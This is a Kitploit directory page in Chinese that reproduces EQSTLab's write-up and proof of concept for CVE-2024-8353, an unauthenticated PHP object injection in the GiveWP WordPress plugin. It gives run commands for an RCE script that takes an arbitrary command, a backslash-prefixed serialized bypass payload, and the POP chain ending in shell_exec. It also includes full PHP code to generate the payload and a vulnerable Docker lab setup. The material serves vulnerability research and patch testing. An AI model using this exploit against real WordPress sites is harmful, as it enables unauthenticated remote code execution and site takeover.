Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-8353 — GiveWP PHP Object Injection exploit | Kitploit
工具/GitHubGitHub/eqstlab/cve-2024-8353
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

GiveWP PHP Object Injection exploit

查看仓库
1221年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

本文是由EQSTLab发布的研究文章。 感谢cuokon,他发现了此漏洞。

引言

进一步分析CVE-2024-5932 EQST Insight R&T(PDF文件)。

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 任意文件删除与RCE PoC ★

描述

CVE-2024-8353:GiveWP PHP 对象注入漏洞

描述:givewp – 捐赠插件与募捐平台插件(WordPress)在所有版本(包含3.16.1)中存在PHP对象注入漏洞,通过反序列化不可信输入(如give_title和card_address参数)触发。这使得未认证攻击者能够注入PHP对象。进一步存在的POP链允许攻击者删除任意文件并实现远程代码执行。这本质上与CVE-2024-5932相同,但发现user_info上的stripslashes_deep函数导致is_serialized检查被绕过。该问题在3.16.1中基本修复,并在3.16.2中增加了进一步加固。

使用方法

⚠️使用PoC时,由于“give_title”存储在DB中并会检查重复,每条命令只能使用一次。此时可以利用一些Linux技巧,特别是引号。例如,使用“echo”时,可以键入“e‘’cho”来复用。

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

安装包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# 远程代码执行
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

示例

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

输出

CVE-2024-8353.py alt text alt text

结果

alt text

脆弱环境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 然后下载存在漏洞的GiveWP插件:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. 解压GiveWP插件zip文件,并将整个文件复制到“/var/www/html/wp-content/plugins”目录。

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. 激活GiveWP插件

alt text

5. 使用GiveWP插件添加新文章,并复制文章链接

alt text

6. 检查存在漏洞的链接

alt text

通过PHPSTORM调试

你可以使用PHPSTORM调试你的GiveWP。

1. 在你的wordpress(Docker)中下载xdebug:

root@kitploit:~
pecl install xdebug

2. 然后像这样设置wordpress的php.ini文件(Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

...然后你就可以调试你的wordpress了。

3. 像这样设置PHPSTORM(本地):

alt text alt text

4. PHPSTORM示例(例如TCPDF任意文件删除)

alt text

分析

漏洞点(give/includes/process-donation.php)

本质上,流程与CVE-2024-5932相同,区别在于“give_title”参数也增加了“is_serialized”逻辑。该方法判定如果索引1处没有:(冒号),则数据不是序列化的。

alt text

在“is_serialized”方法之后,“stripslashes_deep”函数剥除反斜杠。因此,前导反斜杠()被移除,序列化数据得以传递。

alt text

绕过Payload

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

用于RCE的POP链

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (返回命令字符串)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

攻击场景

通过POP链实现RCE

POP链允许远程命令执行。 alt text

URL: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

免责声明

此仓库并非用于CVE-2024-8353的对象注入漏洞利用。本项目的目的是帮助人们了解此漏洞,并可能用于测试自己的应用程序。

EQST Insight

我们每月发布一次CVE和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do

下载工具